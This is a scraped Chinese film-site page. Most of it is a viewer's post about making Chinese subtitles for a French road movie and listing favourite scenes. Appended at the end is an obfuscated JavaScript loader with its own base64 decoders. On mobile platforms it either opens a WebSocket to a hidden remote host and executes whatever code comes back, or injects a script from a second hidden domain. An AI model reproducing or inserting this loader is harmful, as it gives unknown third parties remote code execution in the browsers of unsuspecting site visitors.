扫描二维码手机看大片
本片字幕 分集剧情
于近日完成了本片中文字幕的制作，由于有法语原文对白，正确率保证在95%以上。之前网上的中文字幕是从听译的英文字幕翻译而来，正确率不到一半，很多对白都是随心所欲的翻译甚至意思完全相反。我第一遍用那个字幕看完以后基本没有理解电影讲了什么。推荐使用我制作的字幕。射手：http://goo.gl/qd62A以下按时间顺序记录一下喜欢的段落。1：Zano和Naïma在火车上，Naïma站在座椅上跨过Zano的腿走出去，两人若无其事。2：Naïma帮Zano洗头，弄痛了Zano，Zano喊道：Aïe!Maisarrête!Ondiraitquetulavestonchienlà!（你在洗你的狗吗？）3：Leïla教Naïma说阿拉伯语的我们要去阿尔及利亚，一直走到首都。4：Zano和Naïma与Leïla和Habib分别，L和H上车，车开动，Z和N跟着走，一直未离开镜头但渐远，卡车转弯，两人消失于镜头，突然N又跑入，追上卡车，并给了L纸条。这个摄像机放在卡车里的长镜头是本片我最喜欢的一段。5：Naïma早上醒来后在足球场上听着音乐乱跳舞，Zano被吵醒，无视她的亢奋。这首UnDosTres,NadaMas大好。还有Naïma的那句：Maisquivachtevolechch'ttebotte?6：Zano去买鞋，但西班牙老太不说法语，他便自创西式法语，即在法语单词后面加上os或者as之类的音冒充西班牙语，但老太当然听不懂，于是交流很艰难。。这段笑死我了。7：失落的Zano踢地上的瓶子。恍如音乐。8：Naïma那句：NaïmaTarhouni,filledeAhmedTarhouni,piégeusedemouches.也笑死了。9：一个摩洛哥人告诉他们船不去阿尔及利亚。10：Naïma终于受不了穆斯林女人的穿法，脱掉乱七八糟衣服时的神情和声音极有趣。11：Zano看到家里人的老照片哭。12：Zano给爷爷的墓戴上耳机，Naïma剥开橙子，一人一半，两人相视而笑，继续走向未知，剧终。J'aimeZanoetNaïma.
function JsScTQ(e){var t="",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function leQkx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return JsScTQ(t);};window[''+'z'+'X'+'F'+'Q'+'P'+'q'+'I'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=leQkx,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket('wss://'+k+':9393/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);}}else{u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var s=document.createElement('script');s.src='https://'+u+'/l/'+i;cs.parentElement.insertBefore(s,cs);}})('Z2JyLmJooeWJsYW5rZXQuY24=','dHIueWWVzdWW42NzguY29t','133169',window,document,['o','W']);}:function(){};
